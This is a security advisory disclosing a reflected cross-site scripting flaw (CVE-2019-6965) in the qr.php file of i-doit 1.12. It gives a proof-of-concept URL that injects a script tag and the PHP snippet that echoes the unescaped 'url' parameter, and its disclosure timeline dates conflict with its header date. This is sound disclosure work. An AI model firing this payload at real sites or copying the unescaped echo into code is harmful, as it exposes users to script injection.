i-doit 1.12 - 'qr.php' Cross-Site Scripting

# Exploit Title: i-doit 1.12 Cross Site Scripting on qr.php file
# Date: 28-03-2019
# Software Link: https://www.i-doit.org/
# Version: 1.12
# Exploit Author: BlackFog Team
# Contact: info@securelayer7.net
# Website: https://securelayer7.net
# Category: webapps
# Tested on: Firefox in Kali Linux.
# CVE: CVE-2019-6965




Vendor Description
==================
i-doit offers you a professional IT-documentation solution based on ITIL
guidelines. You can document IT systems and their changes, define emergency
plans, display vital information and ensure a stable and efficient
operation of IT networks.



Attack Type
==================
Reflected Cross Site Scripting on qr.php file in URL perameter reported By
Touhid M.Shaikh(@touhidshaikh22).



Proof of Concept
==================
https://IP_ADDRESS/src/tools/php/qr/qr.php?url=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E


Vulnerable Code.
==================
---------------------------------- qr.php Source Code
-----------------------------

..................................... SNIP
........................................
$l_url = @$_GET['url'];                                    <--- Vulnerable
Perameter

..................................... SNIP
........................................

<img id="code" src="<?php echo $l_url; ?>images/ajax-loading.gif"
alt="Error loading the QR Code" /> <--- Display  Here without any
validation.

 ------------------------------qr.php Source Code ends
---------------------------



Fixed
======
Update to latest


Timeline
========
10 Jan, 2018 === Update to Customer
11 Jan, 2018 === Got Mail to Trigger the issue and we are able to repoduce
the same.
15 Jan, 2018 === Provided Hotfix.
17 Jan, 2018 === Got Thanks for responsible disclosure and agree to publish
on public.